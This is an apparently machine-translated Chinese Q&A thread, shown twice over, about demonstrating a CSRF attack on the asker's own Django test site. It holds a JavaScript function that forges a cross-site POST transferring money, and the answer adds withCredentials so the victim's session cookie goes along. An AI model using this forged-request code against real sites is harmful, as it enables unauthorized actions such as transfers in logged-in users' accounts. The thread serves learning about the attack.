需要登录时模拟 CSRF 攻击 URL
Simulate CSRF Attack on Login Required URL
我想 simulate/demo 进行 CSRF 攻击。使用 Django,我设置了一个站点 (a.com) 和一个 url (/foo/) 不启用反 CSRF 东西。
首先我让这个URL无需登录即可访问。我可以看到 POST 请求(参见下面的代码)已成功完成。 (实际上,我遇到了一个 no Access-Control-Allow-Origin
问题,文档 #main
内容没有更新。但是 post 已完成,状态为 200。即钱已转入我的帐户:)。
所以我进行了一次成功的 CSRF 攻击。
然后我将 a.com/foo/
包裹在 login_required()
中,这意味着您需要先登录站点 a.com 才能在 a.com/foo/
页面中执行操作。
1) 我在 a.com 的一个 Chrome 选项卡上登录了。
2) 然后我在同一个 Chrome window 中打开另一个选项卡并打开 localhost:8000
(见下文)。
当我运行JS函数时,POST开始得到302状态(重定向到a.com
的登录页面,而不是之前的200 OK状态)。
为什么?如果是这种情况,CSRF 攻击如何 useful/possible 用于另一个域的需要登录的页面?
执行假请求的 JS 代码(来自 localhost:8000 等,不同的域):
function hack_it() {
var http = new XMLHttpRequest();
var url = 'https://a.com/foo/';
var params = 'name=hacker&amount=200';
http.open('POST', url, true);
//Send the proper header information along with the request
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onreadystatechange = function() {//Call a function when the state changes.
if(http.readyState == 4 && http.status == 200) {
document.getElementById("main").innerHTML = http.responseText;
}
}
http.send(params);
}
是的,需要登录的页面可能会受到 CSRF 攻击。
目前,您的 AJAX 请求没有发送会话 cookie,因此您被重定向到登录页面。
要使演示攻击生效,您需要将 withCredentials
设置为 true
。
var http = new XMLHttpRequest();
http.withCredentials = true;
...
我想 simulate/demo 进行 CSRF 攻击。使用 Django,我设置了一个站点 (a.com) 和一个 url (/foo/) 不启用反 CSRF 东西。
首先我让这个URL无需登录即可访问。我可以看到 POST 请求(参见下面的代码)已成功完成。 (实际上,我遇到了一个 no Access-Control-Allow-Origin
问题,文档 #main
内容没有更新。但是 post 已完成,状态为 200。即钱已转入我的帐户:)。
所以我进行了一次成功的 CSRF 攻击。
然后我将 a.com/foo/
包裹在 login_required()
中,这意味着您需要先登录站点 a.com 才能在 a.com/foo/
页面中执行操作。
1) 我在 a.com 的一个 Chrome 选项卡上登录了。
2) 然后我在同一个 Chrome window 中打开另一个选项卡并打开 localhost:8000
(见下文)。
当我运行JS函数时,POST开始得到302状态(重定向到a.com
的登录页面,而不是之前的200 OK状态)。
为什么?如果是这种情况,CSRF 攻击如何 useful/possible 用于另一个域的需要登录的页面?
执行假请求的 JS 代码(来自 localhost:8000 等,不同的域):
function hack_it() {
var http = new XMLHttpRequest();
var url = 'https://a.com/foo/';
var params = 'name=hacker&amount=200';
http.open('POST', url, true);
//Send the proper header information along with the request
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onreadystatechange = function() {//Call a function when the state changes.
if(http.readyState == 4 && http.status == 200) {
document.getElementById("main").innerHTML = http.responseText;
}
}
http.send(params);
}
是的,需要登录的页面可能会受到 CSRF 攻击。
目前,您的 AJAX 请求没有发送会话 cookie,因此您被重定向到登录页面。
要使演示攻击生效,您需要将 withCredentials
设置为 true
。
var http = new XMLHttpRequest();
http.withCredentials = true;
...